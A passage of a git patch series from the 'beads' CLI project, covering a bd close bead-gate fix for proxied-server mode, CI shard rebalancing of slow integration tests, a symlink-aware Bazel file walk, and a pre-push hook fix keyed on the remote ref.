sourceRepoRoot(t) script := readPolicyFile(t, root, "scripts/ci/package-mcp.sh") - if !strings.Contains(script, "pytest -n 8") { - t.Errorf("scripts/ci/package-mcp.sh mcp_pytest() does not pass an explicit -n 8") + for _, want := range []string{`local workers="${BEADS_MCP_PYTEST_WORKERS:-8}"`, `uv run pytest -n "$workers"`} { + if !strings.Contains(script, want) { + t.Errorf("scripts/ci/package-mcp.sh mcp_pytest() is missing %q (an explicit worker count, default 8)", want) + } } if strings.Contains(script, "-n auto") { - t.Errorf("scripts/ci/package-mcp.sh mcp_pytest() uses -n auto; want the pinned -n 8") + t.Errorf("scripts/ci/package-mcp.sh mcp_pytest() uses -n auto; want an explicit worker count") } pyproject := readPolicyFile(t, root, "integrations/beads-mcp/pyproject.toml") if !regexp.MustCompile(`(?m)^\s*"pytest-xdist[><=]`).MatchString(pyproject) { diff --git a/scripts/pr_lanes_bazel_coverage_test.go b/scripts/pr_lanes_bazel_coverage_test.go index 3983462d0..b2058509f 100644 --- a/scripts/pr_lanes_bazel_coverage_test.go +++ b/scripts/pr_lanes_bazel_coverage_test.go @@ -255,9 +255,9 @@ func testPackageGateJobs(t *testing.T, prGateRequired []string) { if !ok { t.Fatalf("%s has no %s job", bazelWorkflowName, lane.job) } - if !reflect.DeepEqual([]string(job.Needs), []string{bazelRBEJobName}) || job.If != bazelPackageGatesIf || job.RunsOn != bazelPackageRunsOn { + if !reflect.DeepEqual([]string(job.Needs), []string{bazelRBEJobName}) || job.If != bazelPackageGatesIf || job.RunsOn != bazelPackageRunsOn[lane.job] { t.Errorf("%s: needs %v, if %q, runs-on %q; want needs [%s], if %q, runs-on %q", - lane.job, job.Needs, job.If, job.RunsOn, bazelRBEJobName, bazelPackageGatesIf, bazelPackageRunsOn) + lane.job, job.Needs, job.If, job.RunsOn, bazelRBEJobName, bazelPackageGatesIf, bazelPackageRunsOn[lane.job]) } detectCond := "steps.detect.outputs." + lane.detectOutput + " == 'true'" From 8bb99b49d8cb3cbec23af8d00e06510452fe7938 Mon Sep 17 00:00:00 2001 From: Bee Date: Thu, 8 Oct 2026 06:01:18 +0000 Subject: [PATCH 163/325] fix(close): verify bead gates on the proxied-server route (#5861 item 1) (#6962) * fix(close): verify bead gates on the proxied-server route (wy-j48b3y) The close pre-check built its bead-gate lookup on the local store, which the proxied-server route never opens (the root pre-run short-circuits to uowProvider). So `bd close ` on a bead gate refused with "no local store available" there even after the awaited bead had closed, while `bd gate check` resolved the same gate through its fresh-read getter. Item 1 of #5861. The pre-check now picks the getter by route: proxied-server reads through the same proxiedFreshReadGetter gate check uses (local read, then prefix routes); direct and embedded keep the store-backed routed getter. Tests: a proxied integration test covers the open-target refusal (which now names the target's status), the closed-target close, and --force; against the old code it fails with the exact upstream refusal. A unit test pins the route selection. Docs and CHANGELOG drop the limitation. Co-Authored-By: Claude Fable 5.1 * ci(shards): list TestProxiedServerCloseBeadGate in the proxied 30-shard manifest #7129 turned the Bazel 30-shard block of .github/scripts/proxied-cmd-test-shards.txt into an exact-once coverage gate (TestProxiedShardManifestGeneratorNotStale in scripts/). This PR's merge-base predates that gate, so after the rebase onto current main the gate fails with "missing (1): TestProxiedServerCloseBeadGate", the proxied integration test this PR adds. Generated with the gate's own fix command, `python3 scripts/ci/gen_proxied_shard_manifest.py 30 --weights=duration --write`. The write is incremental: it puts the one name on the lightest shard (2) and moves no existing assignment. The frozen 15-shard block is untouched. Agent-Signature: claude-code-unknown-model-max on behalf of Eddie the Engineer Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Fable 5.1 Co-authored-by: Eddie the Engineer --- .github/scripts/proxied-cmd-test-shards.txt | 1 + CHANGELOG.md | 9 +++ cmd/bd/close.go | 16 ++++- cmd/bd/close_gate_test.go | 18 ++++++ cmd/bd/close_proxied_integration_test.go | 68 +++++++++++++++++++++ docs/reference/troubleshooting.md | 21 ------- docs/workflows/gates.md | 7 +-- 7 files changed, 112 insertions(+), 28 deletions(-) diff --git a/.github/scripts/proxied-cmd-test-shards.txt b/.github/scripts/proxied-cmd-test-shards.txt index 92b21b1d4..ac576ae45 100644 --- a/.github/scripts/proxied-cmd-test-shards.txt +++ b/.github/scripts/proxied-cmd-test-shards.txt @@ -256,6 +256,7 @@ 30 1 TestProxiedServerSQLStatementRouting 30 1 TestProxiedServerServeLifecycle +30 2 TestProxiedServerCloseBeadGate 30 2 TestProxiedServerDelete 30 2 TestProxiedServerDeleteForceOrphans 30 2 TestProxiedServerIfRevisionGuardAssign diff --git a/CHANGELOG.md b/CHANGELOG.md index 51577f7ec..3e6aa83e5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -462,6 +462,15 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 installed/missing check still only tests for file existence and is tracked separately. +- **`bd close` verifies a bead gate in proxied-server mode.** The close + pre-check built its bead-gate lookup on the local store, which the + proxied-server route never opens, so closing a bead gate there refused with + `no local store available` even after the awaited bead had closed, while + `bd gate check` resolved the same gate. The close pre-check now reads the + awaited bead through the same fresh-read path `bd gate check` uses on that + route; the direct and embedded routes are unchanged + ([#5861](https://github.com/gastownhall/beads/issues/5861) item 1). + - **`bd doctor` no longer flags a `.local_version` that starts with `v`.** The canonical spelling of a Go module version — and the string a build stamped from a Go pseudo-version reports and writes into `.local_version` itself — diff --git a/cmd/bd/close.go b/cmd/bd/close.go index e49aed1c7..9e4f14ab0 100644 --- a/cmd/bd/close.go +++ b/cmd/bd/close.go @@ -695,7 +695,7 @@ func checkGateSatisfaction(issue *types.Issue) error { case issue.AwaitType == "timer": resolved, escalated, reason, err = checkTimer(issue, time.Now()) case issue.AwaitType == "bead": - resolved, reason, err = checkBeadGate(rootCtx, routedBeadGateGetter{localStore: store}, issue.AwaitID) + resolved, reason, err = checkBeadGate(rootCtx, closeBeadGateGetter(), issue.AwaitID) if err != nil { // Unlike the gh:* and timer arms above, a bead gate whose store // cannot be read stays closed: the close would need that same @@ -725,6 +725,20 @@ func checkGateSatisfaction(issue *types.Issue) error { return fmt.Errorf("gate condition not satisfied: %s (use --force to override)", reason) } +// closeBeadGateGetter picks the bead-gate lookup the current route can serve. +// The proxied-server route never opens the local store (the root pre-run +// short-circuits to uowProvider), so a store-backed getter there refused every +// bead gate with "no local store available" even when the awaited bead was +// closed (#5861); that route now reads through the same fresh-read getter +// `bd gate check` uses. The direct and embedded routes keep the store-backed +// local -> prefix-route lookup. +func closeBeadGateGetter() issueGetter { + if usesProxiedServer() { + return proxiedFreshReadGetter{} + } + return routedBeadGateGetter{localStore: store} +} + // autoCloseCompletedMolecule checks if closing a step completed an auto-closing // parent molecule, and if so, closes the molecule root. Ordinary epics remain // open when all children finish so they can become explicitly close-eligible diff --git a/cmd/bd/close_gate_test.go b/cmd/bd/close_gate_test.go index 458640b19..0cfc91900 100644 --- a/cmd/bd/close_gate_test.go +++ b/cmd/bd/close_gate_test.go @@ -241,3 +241,21 @@ func TestCheckGateSatisfaction_BeadGateUnreadableStoreRefuses(t *testing.T) { } } } + +// The close pre-check reads a bead gate's target through the route that can +// serve it: the proxied route has no local store, so it must not build a +// store-backed getter there (#5861). +func TestCloseBeadGateGetter_RouteSelection(t *testing.T) { + oldMode := proxiedServerMode + t.Cleanup(func() { proxiedServerMode = oldMode }) + + proxiedServerMode = true + if _, ok := closeBeadGateGetter().(proxiedFreshReadGetter); !ok { + t.Errorf("proxied-server mode: got %T, want proxiedFreshReadGetter", closeBeadGateGetter()) + } + + proxiedServerMode = false + if _, ok := closeBeadGateGetter().(routedBeadGateGetter); !ok { + t.Errorf("direct mode: got %T, want routedBeadGateGetter", closeBeadGateGetter()) + } +} diff --git a/cmd/bd/close_proxied_integration_test.go b/cmd/bd/close_proxied_integration_test.go index 3dc53d349..8017e593a 100644 --- a/cmd/bd/close_proxied_integration_test.go +++ b/cmd/bd/close_proxied_integration_test.go @@ -987,3 +987,71 @@ func TestProxiedServerCloseConcurrent(t *testing.T) { t.Errorf("open issues remain after concurrent close: %d", openCount) } } + +// bd close on a bead gate evaluates the awaited bead through the proxied read +// path. Before #5861 item 1 was fixed this route refused every bead gate with +// "no local store available", closed target or not, while bd gate check +// resolved the same gate. +func TestProxiedServerCloseBeadGate(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + + createBeadGate := func(t *testing.T, p proxiedProject) (gateID string, awaited *types.Issue) { + t.Helper() + parked := bdProxiedCreate(t, bd, p.dir, "Parked bead") + awaited = bdProxiedCreate(t, bd, p.dir, "Awaited bead") + out, stderr, err := bdProxiedRunBuffers(t, bd, p.dir, + "gate", "create", "--type=bead", "--blocks", parked.ID, "--await-id", awaited.ID, "--reason", "waiting on "+awaited.ID) + if err != nil { + t.Fatalf("bead gate create failed: %v\nstderr:\n%s", err, stderr) + } + return parseCreatedGateID(t, out), awaited + } + + t.Run("awaited_open_refuses_with_its_status", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "cbgo") + gateID, awaited := createBeadGate(t, p) + + out := bdProxiedCloseFail(t, bd, p.dir, gateID) + if strings.Contains(out, "no local store available") { + t.Errorf("close read the gate through a store-less getter:\n%s", out) + } + if !strings.Contains(out, "gate condition not satisfied") || !strings.Contains(out, "bead "+awaited.ID+" is open") { + t.Errorf("expected the awaited bead's status in the refusal, got:\n%s", out) + } + db := openProxiedDB(t, p) + if got := readStatus(t, db, gateID); got != types.StatusOpen { + t.Errorf("refused gate should stay open, got %q", got) + } + }) + + t.Run("awaited_closed_closes", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "cbgc") + gateID, awaited := createBeadGate(t, p) + + bdProxiedClose(t, bd, p.dir, awaited.ID) + bdProxiedClose(t, bd, p.dir, gateID, "-r", "awaited bead closed") + db := openProxiedDB(t, p) + if got := readStatus(t, db, gateID); got != types.StatusClosed { + t.Errorf("gate should close once its awaited bead is closed, got %q", got) + } + if got := readCloseReason(t, db, gateID); got != "awaited bead closed" { + t.Errorf("close_reason: got %q, want %q", got, "awaited bead closed") + } + }) + + t.Run("force_skips_the_check", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "cbgf") + gateID, _ := createBeadGate(t, p) + + bdProxiedClose(t, bd, p.dir, gateID, "--force") + db := openProxiedDB(t, p) + if got := readStatus(t, db, gateID); got != types.StatusClosed { + t.Errorf("--force should close the gate regardless, got %q", got) + } + }) +} diff --git a/docs/reference/troubleshooting.md b/docs/reference/troubleshooting.md index ae2d37120..78e26267c 100644 --- a/docs/reference/troubleshooting.md +++ b/docs/reference/troubleshooting.md @@ -423,27 +423,6 @@ don't know", not "this is definitely broken". A genuinely missing or broken `dolt` binary (not found, not executable, or the probe itself fails/times out) is a hard error, not a warning. -### Proxied-server mode: closing a bead gate fails with "no local store available" - -``` -gate condition not satisfied: bead gate "bd-a1b2": no local store available (use --force to override) -``` - -`bd close` on a bead gate refuses this way in proxied-server mode even when -the awaited bead is closed. Proxied-server commands run against a shared -`dolt sql-server` and never open a local store, so the close path has -nothing to read the awaited bead's status from. - -`bd gate check` does evaluate bead gates in proxied-server mode, and closes -the ones whose target has closed: - -```bash -bd gate check --type=bead # closes bead gates whose awaited bead is closed -bd close --force # or close without verifying the condition -``` - -Tracked in [#5861](https://github.com/gastownhall/beads/issues/5861). - ### Prefix routing: "proxy server store needs to be uow provider" A lookup routed through the orchestrator's `routes.jsonl` prefix routes diff --git a/docs/workflows/gates.md b/docs/workflows/gates.md index 36c032a04..97dd71dff 100644 --- a/docs/workflows/gates.md +++ b/docs/workflows/gates.md @@ -54,18 +54,13 @@ repository. ### Known limitations: multi-rig and proxied-server topologies Bead gates and prefix routing (`routes.jsonl`) do not work in every -topology. Three limitations to expect, all tracked in +topology. Two limitations to expect, both tracked in [#5861](https://github.com/gastownhall/beads/issues/5861): - **Cross-rig bead gates never resolve on their own.** A `:` await value reports `cannot be checked (multi-rig routing removed)` and stays pending regardless of the awaited bead's status. Close it with `bd gate resolve`. -- **`bd close` cannot verify a bead gate in the experimental proxied-server - mode.** Proxied-server commands never open a local store, so closing the - gate refuses with `no local store available` even when the awaited bead is - closed. Run `bd gate check`, which evaluates bead gates in proxied-server - mode and closes the satisfied ones, or `bd close --force`. - **Prefix routing cannot open a proxied-server target rig.** A routed lookup into a rig that is itself in proxied-server mode fails with `proxy server store needs to be uow provider`, so an all-proxied From 9b251db072a15619529f9f31f1be722b458ac579 Mon Sep 17 00:00:00 2001 From: Bee Date: Thu, 8 Oct 2026 06:53:13 +0000 Subject: [PATCH 164/325] test(proxied): split TestProxiedServerClose into three parents with legacy rollback pins (#7173) * test(proxied): split TestProxiedServerClose into Close + Close3 so legacy shard 5 clears the 15m timeout (#7151) Shard 5 of the legacy 15-shard proxied-server block walled at 927-941s (go test's 15m timeout) on every measured fork-PR and main run while the other 14 shards took 337-765s. #7172 pinned the two hash-placed tests that pushed it over; the parent that dominates the shard remains: TestProxiedServerClose carries 23 parallel bd-init subtests at 100-130s apiece under 4-way contention, ~2060 of the shard's ~2712 slot-seconds. Split it the way TestProxiedServerClose2 was split before: subtests from close_blocked_refuses_without_force onward (12 of 23) become TestProxiedServerClose3 with the same header; no subtest body changes. Manifest: an explicit `15 6 TestProxiedServerClose3` line in the frozen block (shard 6 is the lightest shard by CI job time that took no #7172 pin; without the line cksum fallback could hash it back onto 5), and `30 17 TestProxiedServerClose3` beside Close in the Bazel 30-shard block, which keeps every 30-shard load where it was (heaviest still 372.2s est.). proxied_test_durations.json apportions the single 174.6s Close capture by bd-init count (83.5 / 91.1) and says so in its header; the next sweep replaces both. Verified: gen_proxied_shard_manifest.py 30 --weights=duration --check (exit 0); go test ./scripts/ -run 'Shard|Manifest|Coverage'; go vet ./cmd/bd/; BEADS_TEST_PROXIED_SERVER=1 BEADS_TEST_REQUIRE_DOLT_CONTAINER=1 go test ./cmd/bd/ -run '^TestProxiedServerClose3?$' -v: both PASS (32.24s / 30.53s, 23 subtests). Co-Authored-By: Claude Fable 5.1 * ci(proxied): pin TestProxiedServerClose3 onto legacy shard 1, not 6 (#7151) Shard 6 timed out at 15m on this PR's own run (job 111387202139) with Close3 added: Close3 passed in 5s but TestProxiedServerClose2's subtests, sharing the 4 parallel slots and the one proxied server with Close3's 12 bd-init subtests, were still running at 1m18s-2m31s each when the alarm fired. On main at b1a0690249 shard 6 runs 9m and shard 1 6m, the lightest of the 15 (15: 8m), so shard 1 has the headroom for the ~6 min of 4-slot wall the 12 subtests cost. Co-Authored-By: Claude Fable 5.1 * test(proxied): split TestProxiedServerClose3 again into Close3 + Close4 (#7151) Shard 1 timed out at 15m on this PR's own run (job 111392255572) with Close3 pinned there: Close3's 12 bd-init subtests finished at 3m33s, but they held the 4 parallel slots long enough that TestProxiedServerDep2's subtests only began at 5m35s and were still running when the alarm fired. Shard 6 did the same before it. Meanwhile shard 5, the shard this PR exists to relieve, ran 5m with the first 11 subtests. So 12 inits in one parent is too much for any host shard. Close3 keeps its first six subtests on shard 1; the last six become TestProxiedServerClose4, pinned to shard 7 (7m on that run). The durations file apportions the one 174.6s capture 11/6/6. Co-Authored-By: Claude Fable 5.1 * ci(proxied): move the Close3 and Close4 pins off legacy shards 1 and 7 onto 13 and 2 (#7151) The run at 765248af5 put every Proxied Dolt Cmd shard green, with shard 5 down from the 15m alarm to 5m50s. But shard 1, chosen for Close3 as "the lightest of the 15 on main", ran 14m48s there, the heaviest of the fifteen: TestProxiedServerDep2's 29 parallel bd-init subtests alone take about 10.5 minutes of 4-slot wall on this lane, and Close3's six init subtests landed on top of them. Shard 7, where Close4 went, ran 13m50s behind TestProxiedServerReady and TestProxiedServerState. Pin Close3 onto shard 13 (6m51s on that run) and Close4 onto shard 2 (7m57s). Not shard 5: it is light only because Close left it, and putting Close3 back would recreate most of the set that timed out. The 30-shard Bazel block is unchanged. Verified: BEADS_TEST_SHARD_LIST_ONLY=1 .github/scripts/proxied-test-shard.sh 13 15 lists Close3 and 2 15 lists Close4, neither on 1 or 7; gen_proxied_shard_manifest.py 30 --weights=duration --check exit 0; go test ./scripts/ -run 'Shard|Manifest|Coverage' ok. Co-Authored-By: Claude Fable 5.1 --------- Co-authored-by: Claude Fable 5.1 --- .github/scripts/proxied-cmd-test-shards.txt | 4 ++++ cmd/bd/close_proxied_integration_test.go | 23 +++++++++++++++++++++ scripts/ci/proxied_test_durations.json | 13 ++++++++++-- 3 files changed, 38 insertions(+), 2 deletions(-) diff --git a/.github/scripts/proxied-cmd-test-shards.txt b/.github/scripts/proxied-cmd-test-shards.txt index ac576ae45..b6f95b315 100644 --- a/.github/scripts/proxied-cmd-test-shards.txt +++ b/.github/scripts/proxied-cmd-test-shards.txt @@ -51,6 +51,7 @@ # a doc comment. 15 1 TestProxiedServerBlocked +15 13 TestProxiedServerClose3 15 1 TestProxiedServerCompactDolt 15 1 TestProxiedServerCreate 15 1 TestProxiedServerDep2 @@ -118,6 +119,7 @@ 15 7 TestProxiedServerAssign 15 7 TestProxiedServerBackupRefusedOnExternalTopology +15 2 TestProxiedServerClose4 15 7 TestProxiedServerCount 15 7 TestProxiedServerGC 15 7 TestProxiedServerList @@ -361,6 +363,8 @@ 30 16 TestProxiedServerUpdateConcurrentMetadata 30 17 TestProxiedServerClose +30 17 TestProxiedServerClose3 +30 17 TestProxiedServerClose4 30 17 TestProxiedServerConfigConcurrent 30 17 TestProxiedServerDeleteConcurrent 30 17 TestProxiedServerIfRevisionGuardUpdate diff --git a/cmd/bd/close_proxied_integration_test.go b/cmd/bd/close_proxied_integration_test.go index 8017e593a..bbbcfba79 100644 --- a/cmd/bd/close_proxied_integration_test.go +++ b/cmd/bd/close_proxied_integration_test.go @@ -349,6 +349,18 @@ func TestProxiedServerClose(t *testing.T) { } }) +} + +// TestProxiedServerClose3 is the second half of TestProxiedServerClose, +// split off (as TestProxiedServerClose2 was before it) so that no single +// top-level suite carries 23 bd-init subtests: that one parent alone cost +// ~2060 slot-seconds under -test.parallel=4 and pushed its 15-shard legacy +// shard past go test's 15m timeout on every run (gastownhall/beads#7151). +func TestProxiedServerClose3(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) + t.Run("close_blocked_refuses_without_force", func(t *testing.T) { t.Parallel() p := newSharedProxiedProject(t, bd, "cbr") @@ -483,6 +495,17 @@ func TestProxiedServerClose(t *testing.T) { t.Errorf("status: got %q, want closed", got) } }) +} + +// TestProxiedServerClose4 is the second half of TestProxiedServerClose3. With +// all 12 of its bd-init subtests in one parent, whichever 15-shard legacy +// shard hosted Close3 timed out in turn (6, then 1) while shard 5 dropped to +// 5m, so the remaining weight is carried as two parents of six on two shards +// (gastownhall/beads#7151). +func TestProxiedServerClose4(t *testing.T) { + requireSharedProxiedServer(t) + t.Parallel() + bd := buildEmbeddedBD(t) // ga-ktn9pe.4.8: this used to have an embedded twin // (TestEmbeddedClose/close_boolean_pinned_reclose_is_idempotent), but diff --git a/scripts/ci/proxied_test_durations.json b/scripts/ci/proxied_test_durations.json index 333a2e2b5..8e1e5f3f1 100644 --- a/scripts/ci/proxied_test_durations.json +++ b/scripts/ci/proxied_test_durations.json @@ -56,7 +56,14 @@ "single sweep's value: local --config=doltserver-proxied runs measured it at", "55-79 s alone, 60-70 s inside its shard, and a reviewer's 68-109 s under load;", "80 s is a rounded middle of that spread. seconds_per_init_fallback was", - "recomputed to include it." + "recomputed to include it.", + "", + "TestProxiedServerClose / Close3 / Close4 (gastownhall/beads#7151): the 174.6s", + "capture above was taken for the undivided TestProxiedServerClose (23 bd-init", + "subtests). The suite was then split after close_nonexistent_id and again after", + "close_pinned_with_force, so the three entries hold that one capture", + "apportioned by bd-init count (11, 6 and 6 of 23), not fresh measurements; the", + "next sweep replaces all three." ], "seconds_per_init_fallback": 17.2952, "tests": { @@ -70,8 +77,10 @@ "TestProxiedServerChildren": 11.28, "TestProxiedServerCleanDatabases": 7.14, "TestProxiedServerCleanDatabasesPurgeDropped": 7.76, - "TestProxiedServerClose": 174.6, + "TestProxiedServerClose": 83.5, "TestProxiedServerClose2": 218.83, + "TestProxiedServerClose3": 45.55, + "TestProxiedServerClose4": 45.55, "TestProxiedServerCloseConcurrent": 38.25, "TestProxiedServerCloseSiblingBlockersFanIn": 99.71, "TestProxiedServerComment": 64.04, From 569ad6001c821e6192001610e0dc31e106c8b6ef Mon Sep 17 00:00:00 2001 From: Bee Date: Thu, 8 Oct 2026 07:47:37 +0000 Subject: [PATCH 165/325] test(scripts): the retired-lanes BUILD walk follows file symlinks, as a local runfiles tree needs (#7361) TestBazelRetiredLanesCannotBeNarrowed skipped every ModeSymlink entry in its two BUILD/.bzl walks. Under `bazel test` on a local executor (the processwrapper-sandbox an unauthorized fork's PR gets for //scripts:scripts_test, RBE_INSTANCE being empty) the runfiles tree is a symlink forest, so the walk read no BUILD file and the pin failed with `got map[]` on every such run (#7350). Both walks now go through walkBazelFiles, which decides "file" with the package's isFileOrFileLink: a regular file or a symlink to one; a symlinked directory is never followed, a dangling link is skipped. TestBazelFileWalkFollowsFileSymlinks mirrors the checkout's Bazel files as a symlink forest (plus a directory link and a dangling link) and requires the same file set as the checkout. Fixes #7350. Co-authored-by: Claude Fable 5.1 --- scripts/pr_risk_bazel_coverage_test.go | 112 ++++++++++++++++++------- 1 file changed, 84 insertions(+), 28 deletions(-) diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index 838a3b6d9..d2a5da2d9 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -746,6 +746,88 @@ func TestProxiedShardManifestGeneratorNotStale(t *testing.T) { } } +// walkBazelFiles visits every BUILD.bazel and BUILD file under root (and, +// with bzl, every .bzl file), skipping .git, node_modules and .beads. A +// symlink to a regular file is visited: under `bazel test` on a local +// executor the runfiles tree is a symlink forest, and a walk that skipped +// symlinks read no BUILD file there and reported every lane's targets gone +// (#7350). A symlink to a directory is never followed. +func walkBazelFiles(root string, bzl bool, visit func(path string, d os.DirEntry) error) error { + return filepath.WalkDir(root, func(path string, d os.DirEntry, err error) error { + if err != nil { + return err + } + if d.IsDir() { + switch d.Name() { + case ".git", "node_modules", ".beads": + return filepath.SkipDir + } + return nil + } + name := d.Name() + if name != "BUILD.bazel" && name != "BUILD" && !(bzl && strings.HasSuffix(name, ".bzl")) { + return nil + } + if !isFileOrFileLink(path, d) { + return nil + } + return visit(path, d) + }) +} + +// A local Bazel executor hands the test a runfiles tree in which every file +// is a symlink into the sandbox's inputs (#7350: scripts_test ran there on an +// unauthorized fork's PR, read no BUILD file and failed every lane's pin with +// `got map[]`). The walk must see the same Bazel files through such a forest +// as in the checkout, and must not follow a symlinked directory or trip on a +// dangling link. +func TestBazelFileWalkFollowsFileSymlinks(t *testing.T) { + root := sourceRepoRoot(t) + collect := func(root string) []string { + var rels []string + err := walkBazelFiles(root, true, func(path string, _ os.DirEntry) error { + rel, err := filepath.Rel(root, path) + if err != nil { + return err + } + rels = append(rels, filepath.ToSlash(rel)) + return nil + }) + if err != nil { + t.Fatalf("walk %s: %v", root, err) + } + sort.Strings(rels) + return rels + } + checkout := collect(root) + if len(checkout) < 10 { + t.Fatalf("found only %d Bazel files under %s; the checkout walk is broken", len(checkout), root) + } + + forest := filepath.Join(t.TempDir(), "_main") + for _, rel := range checkout { + dst := filepath.Join(forest, filepath.FromSlash(rel)) + if err := os.MkdirAll(filepath.Dir(dst), 0o755); err != nil { + t.Fatal(err) + } + if err := os.Symlink(filepath.Join(root, filepath.FromSlash(rel)), dst); err != nil { + t.Fatal(err) + } + } + // Hazards a runfiles tree or a checkout can hold: Bazel's bazel-* links to + // directories, and a link whose target is gone. + if err := os.Symlink(filepath.Join(root, "scripts"), filepath.Join(forest, "bazel-bin")); err != nil { + t.Fatal(err) + } + if err := os.Symlink(filepath.Join(forest, "missing", "BUILD.bazel"), filepath.Join(forest, "BUILD")); err != nil { + t.Fatal(err) + } + + if got := collect(forest); !reflect.DeepEqual(got, checkout) { + t.Errorf("the symlink forest yields different Bazel files than the checkout:\nforest %d: %v\ncheckout %d: %v", len(got), got, len(checkout), checkout) + } +} + // Review G3: since D2 the retired tiers' Bazel lanes (embedded, proxied, // server-storage) are those tiers' only pre-merge run on same-repo PRs, so // nothing that reaches them may narrow them (select fewer tests, or turn @@ -960,20 +1042,7 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { tagsRe := regexp.MustCompile(`(?ms)^ tags = \[(.*?)\],$`) envRe := regexp.MustCompile(`(?ms)^ env = \{(.*?)\},$`) got := map[string]target{} - err := filepath.WalkDir(root, func(path string, d os.DirEntry, err error) error { - if err != nil { - return err - } - if d.IsDir() { - switch d.Name() { - case ".git", "node_modules", ".beads": - return filepath.SkipDir - } - return nil - } - if d.Type()&os.ModeSymlink != 0 || (d.Name() != "BUILD.bazel" && d.Name() != "BUILD") { - return nil - } + err := walkBazelFiles(root, false, func(path string, d os.DirEntry) error { data, err := os.ReadFile(path) if err != nil { return err @@ -1030,21 +1099,8 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { "-required-suite=doc-freshness", }, } - err = filepath.WalkDir(root, func(path string, d os.DirEntry, err error) error { - if err != nil { - return err - } - if d.IsDir() { - switch d.Name() { - case ".git", "node_modules", ".beads": - return filepath.SkipDir - } - return nil - } + err = walkBazelFiles(root, true, func(path string, d os.DirEntry) error { isBzl := strings.HasSuffix(d.Name(), ".bzl") - if d.Type()&os.ModeSymlink != 0 || (d.Name() != "BUILD.bazel" && d.Name() != "BUILD" && !isBzl) { - return nil - } data, err := os.ReadFile(path) if err != nil { return err From 2e6289f9fbf266a3396c7d17369237d8089cf717 Mon Sep 17 00:00:00 2001 From: Bee Date: Thu, 8 Oct 2026 07:49:57 +0000 Subject: [PATCH 166/325] fix(hooks): key the push-time suite on the remote ref, never on the local ref's shape (#7352) Since #7348 the pre-push hook ran scripts/pre-push-suite.sh only for stdin lines whose local ref matched refs/heads/*. For `git push origin HEAD` and `HEAD:refs/heads/x` git passes the literal local ref HEAD, so the suite never ran for those pushes: a Go change pushed that way landed with an empty bazel log, while the same change pushed as `git push origin br1` was refused. The hook now skips a line when the remote ref is refs/tags/* or the local sha is the zero sha (a deletion); everything else is a branch push, HEAD included. TestPrePushHookSuiteKeysOnRemoteRef feeds the real hook HEAD-sourced ref lines from a scratch repository with a stub suite that records whether it ran: both HEAD forms run it on a Go change; a docs-only push, a tag pushed by HEAD or by name, and a deletion do not. On main's hook the two HEAD cases fail. TestPrePushHookRunsSuiteOnlyForGoChanges indexed "pre-push-suite.sh", which the hook's header comment on line 3 also contains, so the ordering assertion held wherever the call block sat. It now indexes the call line; moving the suite block after the managed beads section fails it. Fixes #7351 Co-authored-by: Claude Fable 5.1 --- .githooks/pre-push | 11 ++- scripts/check-versions/pre_push_hook_test.go | 99 ++++++++++++++++++++ scripts/pre_push_suite_test.go | 6 +- 3 files changed, 110 insertions(+), 6 deletions(-) diff --git a/.githooks/pre-push b/.githooks/pre-push index fc57efb0b..4a20fb57d 100755 --- a/.githooks/pre-push +++ b/.githooks/pre-push @@ -61,12 +61,15 @@ fi # `bazel test //... --config=ci`, for branch pushes whose new commits change # Go or Bazel inputs. A tag push, a deletion, or a docs-only push skips it. # BD_PREPUSH_SUITE=go runs plain go test instead, under a banner. +# +# The decision keys on the remote ref and the shas, never on the local ref's +# shape: for `git push origin HEAD` and `HEAD:refs/heads/x` git passes the +# literal local ref `HEAD`, which a `refs/heads/*` match would skip (#7351). zero_sha=0000000000000000000000000000000000000000 suite_needed=0 -while read -r local_ref local_sha _remote_ref remote_sha; do - case "$local_ref" in - refs/heads/*) ;; - *) continue ;; +while read -r _local_ref local_sha remote_ref remote_sha; do + case "$remote_ref" in + refs/tags/*) continue ;; esac if [ "$local_sha" = "$zero_sha" ] || ! git cat-file -e "$local_sha^{commit}" 2>/dev/null; then continue diff --git a/scripts/check-versions/pre_push_hook_test.go b/scripts/check-versions/pre_push_hook_test.go index 573f32aec..de6f60647 100644 --- a/scripts/check-versions/pre_push_hook_test.go +++ b/scripts/check-versions/pre_push_hook_test.go @@ -140,6 +140,105 @@ func TestPrePushHookDriftRefusalPointsAtCheckerRemedy(t *testing.T) { } } +// The push-time suite decision keys on the remote ref and the shas, never on +// the local ref's shape: for `git push origin HEAD` and `HEAD:refs/heads/x` +// git passes the literal local ref `HEAD`, which a `refs/heads/*` match +// skipped (#7351). A scratch repository stands in for the checkout and a stub +// scripts/pre-push-suite.sh records whether the hook decided to run it, so +// this also runs under Bazel. +func TestPrePushHookSuiteKeysOnRemoteRef(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("Windows does not provide the oldest supported /bin/bash") + } + + const bash = "/bin/bash" + if _, err := os.Stat(bash); err != nil { + t.Skipf("system Bash unavailable: %v", err) + } + git, err := exec.LookPath("git") + if err != nil { + t.Fatalf("git is required to exercise the pre-push hook: %v", err) + } + + hook := filepath.Join(bazeltest.RepoRoot(t), ".githooks", "pre-push") + scratch := t.TempDir() + suiteLog := filepath.Join(scratch, "suite.log") + stub := "#!/bin/sh\nprintf 'ran\\n' >> '" + suiteLog + "'\n" + if err := os.MkdirAll(filepath.Join(scratch, "scripts"), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(scratch, "scripts", "pre-push-suite.sh"), []byte(stub), 0o755); err != nil { + t.Fatal(err) + } + + gitIn := func(args ...string) string { + t.Helper() + cmd := exec.Command(git, append([]string{"-c", "maintenance.auto=false", "-c", "gc.auto=0"}, args...)...) + cmd.Dir = scratch + cmd.Env = append(os.Environ(), + "GIT_CONFIG_NOSYSTEM=1", 